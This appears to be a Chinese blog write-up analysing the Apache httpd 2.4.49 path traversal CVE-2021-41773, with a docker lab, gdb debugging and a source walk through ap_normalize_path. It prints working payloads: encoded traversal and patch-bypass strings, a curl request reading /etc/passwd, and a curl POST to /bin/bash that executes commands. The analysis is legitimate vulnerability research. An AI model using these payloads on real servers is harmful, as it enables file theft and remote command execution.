Apache httpd Server CVE-2021-41773 漏洞分析
01\漏洞簡介
Apache httpd Server 2.4.49 版本引入了一個具有路徑穿越漏洞的新函數,但需要配合穿越的目錄配置 Require all granted,攻擊者可利用該漏洞實現路徑穿越從而讀取任意文件,或者在配置了cgi的httpd程序中執行bash指令,從而有機會控制服務器。
02\環境搭建
0x1 docker搭建
在搭建環境的過程中制作了一個docker容器,方便以后對該漏洞進行復現分析。
安裝方式如下
docker run -p 8787:80 -d --privileged turkeys/httpd:cve-2021-41773
關于httpd的編譯過程可參考 https://www.yuque.com/docs/share/771a78c6-7fca-44c7-9cb3-6d1fb3594921
制作docker的文件也放在github https://github.com/BabyTeam1024/CVE-2021-41773 ,下載下來后直接執行如下指令
docker-compose up -d
0x2 調試
環境有安裝好的pwndbg插件,在調試的時候需要注意kill掉root起的httpd進程,只保留一個daemon httpd用來調試

gdb --pid 1074
源碼調試界面如下

03\漏洞分析
在調試漏洞之前首先給自己提出了幾個問題,帶著這幾個問題去分析漏洞,才會更加理解漏洞的核心原理。其次通過httpd源碼調試無死角窺探漏洞觸發過程。
0x1 問題
在見到poc之后心里面就有幾個問題一直沒有得到解決
- 路徑穿越poc為什么是.%2e開始,%2e.不行嗎?
- 補丁繞過poc是依據什么怎么構造出來的?
- cgi命令執行poc如何構造,為什么執行的命令在post參數里?
帶著這三個問題開始CVE-2021-41773 源碼調試漏洞分析之路
0x2 路徑穿越poc如何構造
這一切還要和2.4.49版本的httpd在server/request.c中引入的新代碼有關,如下圖所示

關鍵代碼如下,根據httpd自身的注釋可以了解到這部分代碼的功能是刪除/./和/../一些路徑,其中還描寫到該部分代碼是為了避免ap_unescape_url后的雙重解碼,但是補丁就是因為雙重解碼繞過的。
if (r-parsed_uri.path) { /* Normalize: remove /./ and shrink /../ segments, plus * decode unreserved chars (first time only to avoid * double decoding after ap_unescape_url() below). */ if (!ap_normalize_path(r->parsed_uri.path, normalize_flags | AP_NORMALIZE_DECODE_UNRESERVED)) { ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244) "invalid URI path (%s)", r->unparsed_uri); return HTTP_BAD_REQUEST; } }
接下來到這次漏洞的核心函數ap_normalize_path,第一段代碼如下
int ret = 1;apr_size_t l = 1, w = 1;if (!IS_SLASH(path[0])) { /* 除了 "OPTIONS *", 每個請求路徑都應該是以 '/' 開頭*/ if (path[0] == '*' && path[1] == '\0') { return 1; } /* 如果開啟了AP_NORMALIZE_ALLOW_RELATIVE配置就能繞過這個限制 */ if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') { return 0; } l = w = 0; }
可以看到在代碼的開始部分設定了w和l變量,其實是使用了雙索引的方式遍歷path數組,完成對path字符串的編碼解析和../刪除工作。其中w指針有回退功能,l指針只會前進,而且w指針永遠指的是真實path將要填充的字符,所以在做字符串判斷的時候一直使用w-1偏移進行索引。
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) && path[l] == '%' && apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) { const char c = x2c(&path[l + 1]); if (apr_isalnum(c) || (c && strchr("-._~", c))) { /* 如果解碼成功l指針移動到編碼的最后一位,且將解碼后的值復制給path[l] */ l += 2; path[l] = c; } }
在這段代碼之后真正的漏洞代碼出現了
if (w == 0 || IS_SLASH(path[w - 1])) { /* Collapse ///// sequences to / */ ....... if (path[l] == '.') { /* Remove /./ segments */ if (IS_SLASH_OR_NUL(path[l + 1])) { l++; if (path[l]) { l++; } continue; } /* Remove /xx/../ segments */ if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) { /* 如果l遇到了../開始讓w回退到上一個/,不然的話就賦值 */ if (w > 1) { do { w--; } while (w && !IS_SLASH(path[w - 1])); } else { /* 如果w回退到0且后續沒有內容則報錯 */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0; } }
/* 因為../的關系讓l指針前進兩個索引 */ l += 2; if (path[l]) { l++; } continue; } }}
漏洞邏輯已經很明顯了在上述代碼的第十五行,l遇到../才讓w回退到上一個/,不然的話就將路徑原模原樣賦值給w指針。那么.的url編碼是%2e,如果遇到%2e./就會回退,因為會先進行url解碼l索引就變成了../,但如果是.%2e/在執行這段../回退代碼的時候檢測不出來../就會先把.賦值給w指針,之后l在%2e進行解碼變成了./但是因為w已經前進了一個索引IS_SLASH(path[w – 1])就無法判斷成功所以代碼又將./依次賦值給了w指針。從而讓path變量中擁有了解碼好的/../路徑片段,實現了路徑穿越。代碼的藝術就是這么奇妙,因為沒有妥善處理特殊情況造成了嚴重漏洞,這給代碼開發人員敲響了警鐘。
經過分析%2e%2e/路徑也可以達到同樣的目的,在實際調試過程中也是如此,在進入ap_normalize_path函數的路徑為未解析的原始路徑。

函數解析后r-parsed_uri.path 為含有路徑穿越的../目錄,從而實現路徑穿越

最后在ap_invoke_handler函數中調用ap_run_handler進行路徑解析,讀取權限允許范圍內的文件內容,ap_run_handler實際為掛鉤函數,其中注冊了很多處理函數。
0x3 補丁繞過poc構造
補丁分析,判斷了.%2e/以及%2e%2e/這兩種情況

在后續的代碼審計過程中發現了ap_unescape_url函數,該函數功能為解碼url字符編碼。因此又存在了幾種poc構造方式,簡單的構造原則為只要一開始時的路徑不是../且在二次解碼后的路徑為../就能滿足條件
/%2%65.//%2%65%2e//.%2%65//%2e%2%65/ /%2%65%2%65//%%32e%%32e//%25%32%65%25%32%65/ # 這種是不生效的,因為ap_normalize_path不會處理%字符的url編碼 curl -s --path-as-is "http://localhost:8787/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" 0x4 命令執行poc構造
在/etc/httpd/httpd.conf配置文件中去掉mod_cgid.so那行的注釋

主要研究在cgi模式下如何進行命令執行,路徑穿越部分上面已經分析的很清楚了,困擾我的其實是命令為什么是在post參數中。筆者首先用gdb調試了命令執行的過程,kill掉root進程,保留剩下的worker進程
curl -d 'id>/tmp/a' "http://localhost:8787/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash" 直接將斷點下在execve函數上,嘗試分析命令執行時post參數是怎么帶入執行的

參數內容只有/bin/bash

環境變量部分內容挺多,編寫了gdb腳本循環遍歷

define printall set $i = $arg0 while *(unsigned long long *)$i !=0 x/s *(unsigned long long *)$i set $i = $i + 8 endend
用腳本跑完后,post參數也沒在環境變量中,只有CONTENT_LENGTH為9,這正好是id>/tmp/a命令的長度。那么該漏洞到底是如何傳遞命令執行參數的呢?
筆者猜測是httpd將執行的命令重定向到了cgi程序的輸入流中了,因此編寫了接受輸入流的bash腳本放在cgi-bin目錄下,腳本內容如下
#!/bin/shread contentecho $content > /tmp/xxx
發送如下數據包
curl -d 'id>/tmp/x' "http://localhost:8787/cgi-bin/1.sh" 結果如下

那么可以證明post參數確實是以輸入流的方式傳入到cgi程序中,這就不難理解為什么命令執行部分構造成
A=|id>/tmp/xid>/tmp/x
至于echo;id如何做到命令回顯,還沒有深究
04\總結
這個apache httpd 路徑穿越漏洞非常有意思,最后代碼維護人員把ap_unescape_url刪掉了避免二次解碼漏洞的發生,簡單粗暴。在復現這個漏洞的過程中也學習到了一些調試技巧,同時也解決了這段時間困擾筆者的幾個問題。文筆粗糙,有什么問題請大家多多指正。
